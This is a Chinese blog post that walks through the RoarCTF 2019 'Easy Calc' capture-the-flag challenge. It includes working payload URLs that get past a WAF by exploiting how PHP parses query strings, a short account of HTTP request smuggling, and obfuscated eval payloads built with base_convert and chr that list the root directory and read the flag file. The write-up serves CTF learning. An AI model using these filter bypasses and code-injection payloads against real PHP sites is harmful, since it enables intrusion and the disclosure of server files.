zoukankan      html  css  js  c++  java
  • [原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)

     简介

     原题复现:

     考察知识点:http协议走私、php字符串解析漏洞

     线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

     过程

    一枚菜狗打开页面  懵逼一个小时然后   搜索WP。。。。。

    查看源码发现

    利用php字符串解析漏洞

    计算的时候会访问calc.php页面  访问它获得源码  审计发现有个过滤  过滤完执行eval()

    所以可以构造

    http://node3.buuoj.cn:28719/calc.php?num=phpinfo()  出错 被waf挡住了

    http://node3.buuoj.cn:28719/calc.php?%20num=phpinfo() 利用php字符串解析特性在变量前面加上空格即可绕过   绕过姿势文章:https://www.freebuf.com/column/207936.html

     继续构造

    http://node3.buuoj.cn:28719/calc.php?%20num=var_dump(scandir(chr(47)))

    http://node3.buuoj.cn:28719/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

    HTTP走私绕过WAF

    http协议走私基础:https://www.cnblogs.com/xhds/p/12339994.html

    CL-CL

    两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。

     CL-TE

    CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。

     

     构造payload获得Flag
    使用scandir()函数readfile()函数base_convert()函数dechex() 函数hex2bin() 函数chr()函数
    36进制scandir->10进制61693386291
    36进制readfile->10进制2146934604002
    ascii码/->16进制2f->10进制47
    36进制f1agg->10进制25254448(读取根目录得到的)

    
    
    var_dump(base_convert(61693386291,10,36)(chr(47)))

     读取flag

    var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))

     

     参考学习:https://xz.aliyun.com/t/6654

  • 相关阅读:
    python之路--day22--多态....property..calssmethod....staticmethod
    python之路--day21--组合与封装
    内存数据库
    什么时候调用:拷贝构造函数、赋值运算符
    类成员初始化顺序
    HTTP、TCP、UDP的区别
    进程和线程的区别
    C++中类的静态成员与实例成员的区别
    设计模式
    const函数
  • 原文地址:https://www.cnblogs.com/xhds/p/12460958.html
Copyright © 2011-2022 走看看